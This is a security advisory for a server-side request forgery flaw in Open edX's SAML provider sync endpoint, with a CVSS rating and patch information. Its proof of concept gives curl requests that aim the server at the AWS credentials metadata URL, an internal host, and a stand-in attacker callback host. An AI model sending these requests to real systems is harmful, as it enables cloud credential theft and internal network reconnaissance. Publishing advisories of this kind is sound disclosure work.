Skip to content

Server-Side Request Forgery (SSRF) in SAML Provider Data Sync Endpoint

High
feanil published GHSA-328g-7h4g-r2m9 Apr 24, 2026

Package

pip edx-platform (pip)

Affected versions

<= master (all versions containing SAMLProviderDataViewSet.sync_provider_data)

Patched versions

>= ulmo

Description

Summary

The sync_provider_data endpoint in SAMLProviderDataViewSet allows authenticated Enterprise Admin users to supply an arbitrary URL via the metadata_url POST parameter. This URL is passed directly to requests.get() in fetch_metadata_xml() without any URL validation, IP filtering, or scheme enforcement. An attacker with Enterprise Admin privileges can force the server to make HTTP requests to internal network services, cloud metadata endpoints (e.g., AWS 169.254.169.254), or other attacker-controlled destinations.

Details

Vulnerable code path:

In common/djangoapps/third_party_auth/samlproviderdata/views.py, the sync_provider_data action reads the URL directly from user input:

@action(detail=False, methods=['post', 'put'])
def sync_provider_data(self, request):
    entity_id = request.POST.get('entity_id')
    metadata_url = request.POST.get('metadata_url')  # User-controlled
    # ...
    if metadata_url:
        try:
            xml = fetch_metadata_xml(metadata_url)  # Passes to requests.get()
        except (SSLError, MissingSchema, HTTPError) as ex:
            msg = f'Could not verify provider metadata url. Exc type: {type(ex).__name__}'
            return Response(msg, status.HTTP_406_NOT_ACCEPTABLE)

In common/djangoapps/third_party_auth/utils.py, the fetch_metadata_xml() function performs no URL validation:

def fetch_metadata_xml(url):
    try:
        log.info("Fetching %s", url)
        if not url.lower().startswith('https'):
            log.warning("This SAML metadata URL is not secure! (%s)", url)
        response = requests.get(url, verify=True)  # SSRF - No IP/scheme validation
        response.raise_for_status()

Missing protections:

  • No blocking of internal/private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  • No blocking of cloud metadata link-local addresses (169.254.0.0/16)
  • No URL scheme enforcement (HTTP allowed despite log warning)
  • No DNS rebinding protection
  • No request timeout configured

RCE Escalation: In cloud environments (AWS/GCP/Azure), this SSRF can be escalated to Remote Code Execution by accessing instance metadata services to steal IAM credentials, which can then be used to execute commands on cloud infrastructure via EC2, Lambda, or SSM APIs.

PoC

Prerequisites:

  • Authenticated user with ENTERPRISE_ADMIN_ROLE for any enterprise customer
  • Enterprise customer with a SAML Identity Provider configured

Step 1: Access cloud metadata (AWS example)

curl -X POST 'https://<openedx-instance>/auth/saml/v0/provider_data/sync_provider_data' \
  -H 'Authorization: Bearer <JWT_TOKEN>' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'entity_id=test-entity' \
  -d 'metadata_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' \
  -d 'enterprise_customer_uuid=<ENTERPRISE_UUID>'

The server makes the request to the AWS metadata endpoint. Although the response fails XML parsing, the HTTP request is made, and timing/error differences confirm reachability.

Step 2: Internal network scanning

curl -X POST 'https://<openedx-instance>/auth/saml/v0/provider_data/sync_provider_data' \
  -H 'Authorization: Bearer <JWT_TOKEN>' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'entity_id=test-entity' \
  -d 'metadata_url=http://10.0.0.1:8080/' \
  -d 'enterprise_customer_uuid=<ENTERPRISE_UUID>'

Timing differences and distinct error responses reveal whether internal hosts and ports are reachable.

Step 3: Attacker-controlled callback for data exfiltration

curl -X POST 'https://<openedx-instance>/auth/saml/v0/provider_data/sync_provider_data' \
  -H 'Authorization: Bearer <JWT_TOKEN>' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'entity_id=test-entity' \
  -d 'metadata_url=https://attacker-server.com/ssrf-callback' \
  -d 'enterprise_customer_uuid=<ENTERPRISE_UUID>'

The attacker's server receives a request from the Open edX server, confirming SSRF and revealing the server's outbound IP address and request headers.

Impact

An authenticated Enterprise Admin can exploit this SSRF to:

  • Steal cloud credentials: Access AWS/GCP/Azure instance metadata to obtain IAM temporary credentials, potentially leading to full cloud infrastructure compromise and Remote Code Execution.
  • Scan internal networks: Enumerate internal services, ports, and infrastructure topology behind firewalls.
  • Access internal APIs: Reach internal services (databases, admin panels, microservices) not exposed to the internet.
  • Information disclosure: Error messages and timing differences leak information about the internal network.

Enterprise Admin is a delegated role (not platform superuser) typically granted to corporate training managers. This role should not grant the ability to access internal network resources or cloud credentials. The SSRF represents a significant privilege escalation beyond the role's intended scope.

Patches

The fix landed in the following commits:

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

CVE ID

CVE-2026-42858

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits